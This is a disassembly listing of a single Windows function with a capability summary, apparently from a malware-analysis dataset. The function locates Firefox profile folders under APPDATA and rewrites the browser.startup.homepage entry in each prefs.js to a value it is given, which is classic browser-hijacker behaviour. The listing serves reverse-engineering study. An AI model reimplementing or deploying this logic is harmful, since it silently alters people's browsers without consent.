Function at 0x433880
Capabilities:
Check if file exists
Enumerate files on windows
Query environment variable
Read file on windows
Write file on windows

Disassembly:
push ebp
mov ebp, esp
push 0xffffffffffffffff
push 0x496f4c
mov eax, dword fs:[0]
push eax
sub esp, 0x3e0
mov eax, dword [0x4c56f0]
xor eax, ebp
mov dword [ebp - 0x14], eax
push ebx
push esi
push edi
push eax
lea eax, [ebp - 0xc]
mov dword fs:[0], eax
mov eax, dword [ebp + 8]
push 0x104
lea ecx, [ebp - 0x224]
push ecx
push str.APPDATA
mov dword [ebp - 0x3e8], eax
call dword [sym.imp.KERNEL32.dll_GetEnvironmentVariableA]
xor esi, esi
mov dword [ebp - 0x22c], 0xf
mov dword [ebp - 0x230], esi
mov byte [ebp - 0x240], 0
lea eax, [ebp - 0x224]
mov dword [ebp - 4], esi
lea edx, [eax + 1]
mov cl, byte [eax]
inc eax
test cl, cl
jne 0x4338f3
sub eax, edx
push eax
lea edx, [ebp - 0x224]
push edx
lea ecx, [ebp - 0x240]
call fcn.0040d510
push 0x19
push str.MozillaFirefoxProfiles
lea ecx, [ebp - 0x240]
call fcn.0040d510
mov eax, dword [ebp - 0x240]
mov ebx, 0x10
cmp dword [ebp - 0x22c], ebx
jae 0x43393a
lea eax, [ebp - 0x240]
push eax
call dword [sym.imp.SHLWAPI.dll_PathFileExistsA]
test eax, eax
jne 0x433963
cmp dword [ebp - 0x22c], ebx
jb 0x43395c
mov eax, dword [ebp - 0x240]
push eax
call fcn.0046ead2
add esp, 4
xor al, al
jmp 0x433cac
mov eax, dword [ebp - 0x240]
cmp dword [ebp - 0x22c], ebx
jae 0x433977
lea eax, [ebp - 0x240]
push eax
lea ecx, [ebp - 0x11c]
push 0x104
push ecx
call fcn.004726f8
push str..
lea edx, [ebp - 0x11c]
push 0x104
push edx
call fcn.00472757
add esp, 0x18
lea eax, [ebp - 0x3d4]
push eax
lea ecx, [ebp - 0x11c]
push ecx
call dword [sym.imp.KERNEL32.dll_FindFirstFileA]
mov dword [ebp - 0x3ec], eax
cmp eax, 0xffffffff
jne 0x4339df
cmp dword [ebp - 0x22c], ebx
jb 0x43395c
mov edx, dword [ebp - 0x240]
push edx
call fcn.0046ead2
add esp, 4
xor al, al
jmp 0x433cac
test byte [ebp - 0x3d4], 0x10
je 0x4339df
cmp byte [ebp - 0x3a8], 0x2e
je 0x433c79
mov eax, dword [ebp - 0x3e8]
push eax
lea ecx, [ebp - 0x294]
push str.user_pref__browser.startup.homepage____
push ecx
call fcn.0042d030
push str.____n
push eax
lea edx, [ebp - 0x278]
push edx
mov byte [ebp - 4], 1
call fcn.00415770
add esp, 0x18
cmp dword [ebp - 0x280], ebx
jb 0x433a3d
mov eax, dword [ebp - 0x294]
push eax
call fcn.0046ead2
add esp, 4
mov dword [ebp - 0x248], 0xf
mov dword [ebp - 0x24c], esi
mov byte [ebp - 0x25c], 0
mov byte [ebp - 4], 4
mov edx, dword [ebp - 0x240]
cmp dword [ebp - 0x22c], ebx
jae 0x433a6c
lea edx, [ebp - 0x240]
mov eax, edx
lea edi, [eax + 1]
mov cl, byte [eax]
inc eax
test cl, cl
jne 0x433a71
sub eax, edi
push eax
push edx
lea ecx, [ebp - 0x25c]
call fcn.0040d510
push 1
push 0x4a52f4
lea ecx, [ebp - 0x25c]
call fcn.0040d510
lea eax, [ebp - 0x3a8]
lea edx, [eax + 1]
mov cl, byte [eax]
inc eax
test cl, cl
jne 0x433aa2
sub eax, edx
push eax
lea ecx, [ebp - 0x3a8]
push ecx
lea ecx, [ebp - 0x25c]
call fcn.0040d510
push 9
push str.prefs.js
lea ecx, [ebp - 0x25c]
call fcn.0040d510
mov eax, dword [ebp - 0x25c]
cmp dword [ebp - 0x248], ebx
jae 0x433ae4
lea eax, [ebp - 0x25c]
push 0x4a6d1c
push eax
call fcn.004715a9
mov edi, eax
add esp, 8
cmp edi, esi
je 0x433c30
push 2
push esi
push edi
call fcn.00471aaa
push edi
call fcn.004719bb
push esi
push esi
push edi
mov ebx, eax
call fcn.00471aaa
push ebx
call fcn.0046d74e
push edi
push 1
push ebx
push eax
mov dword [ebp - 0x3e0], eax
call fcn.0047180a
push ebx
call fcn.0046d74e
push ebx
mov esi, eax
push 0
push esi
call fcn.00475cb0
xor edx, edx
xor ecx, ecx
add esp, 0x40
mov dword [ebp - 0x3d8], edx
mov dword [ebp - 0x3dc], ecx
cmp ebx, edx
jle 0x433be6
jmp 0x433b60
mov eax, dword [ebp - 0x3e0]
mov al, byte [ecx + eax]
mov byte [edx + esi], al
cmp al, 0xa
jne 0x433bd1
push str.user_pref__browser.startup.homepage__
push esi
mov dword [ebp - 0x3e4], 0
call fcn.00471ca0
mov eax, dword [ebp - 0x278]
add esp, 8
cmp dword [ebp - 0x264], 0x10
jae 0x433b9d
lea eax, [ebp - 0x278]
push eax
push esi
call dword [sym.imp.KERNEL32.dll_lstrcpyA]
push edi
push 1
push esi
mov dword [ebp - 0x3d8], 1
call dword [sym.imp.KERNEL32.dll_lstrlenA]
push eax
push esi
call fcn.0047114d
mov edx, dword [ebp - 0x3e4]
mov ecx, dword [ebp - 0x3dc]
add esp, 0x10
jmp 0x433bd2
inc edx
inc ecx
mov dword [ebp - 0x3dc], ecx
cmp ecx, ebx
jl 0x433b60
cmp dword [ebp - 0x3d8], 0
jne 0x433c0e
cmp dword [ebp - 0x264], 0x10
mov eax, dword [ebp - 0x278]
jae 0x433bfb
lea eax, [ebp - 0x278]
mov ecx, dword [ebp - 0x268]
push edi
push 1
push ecx
push eax
call fcn.0047114d
add esp, 0x10
push esi
call fcn.00470f76
mov edx, dword [ebp - 0x3e0]
push edx
call fcn.00470f76
push edi
call fcn.00471283
add esp, 0xc
mov ebx, 0x10
xor esi, esi
cmp dword [ebp - 0x248], ebx
jb 0x433c47
mov eax, dword [ebp - 0x25c]
push eax
call fcn.0046ead2
add esp, 4
mov byte [ebp - 4], 0
mov dword [ebp - 0x248], 0xf
mov dword [ebp - 0x24c], esi
mov byte [ebp - 0x25c], 0
cmp dword [ebp - 0x264], ebx
jb 0x433c79
mov ecx, dword [ebp - 0x278]
push ecx
call fcn.0046ead2
add esp, 4
mov eax, dword [ebp - 0x3ec]
lea edx, [ebp - 0x3d4]
push edx
push eax
call dword [sym.imp.KERNEL32.dll_FindNextFileA]
test eax, eax
jne 0x4339df
cmp dword [ebp - 0x22c], ebx
jb 0x433cac
mov ecx, dword [ebp - 0x240]
push ecx
call fcn.0046ead2
add esp, 4
mov ecx, dword [ebp - 0xc]
mov dword fs:[0], ecx
pop ecx
pop edi
pop esi
pop ebx
mov ecx, dword [ebp - 0x14]
xor ecx, ebp
call fcn.0046eadd
mov esp, ebp
pop ebp
ret 4